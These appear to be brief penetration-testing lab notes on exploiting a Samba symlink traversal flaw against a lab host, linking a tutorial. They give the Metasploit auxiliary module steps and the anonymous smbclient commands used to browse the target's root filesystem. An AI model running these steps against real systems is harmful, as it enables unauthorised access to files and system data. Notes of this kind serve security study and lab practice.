• exploiting samba_symlink_traversal vuln to get root filesystem access https://null-byte.wonderhowto.com/how-to/get-root-filesystem-access-via-samba-symlink-traversal-0198509/
  • msfconsole
    • use auxiliary/admin/smb/samba_symlink_traversal
    • set rhost 10.11.1.136
    • set smbshare Bob Share
    • exploit
• smbclient //10.11.1.136/”Bob Share” -N
  • cd rootfs/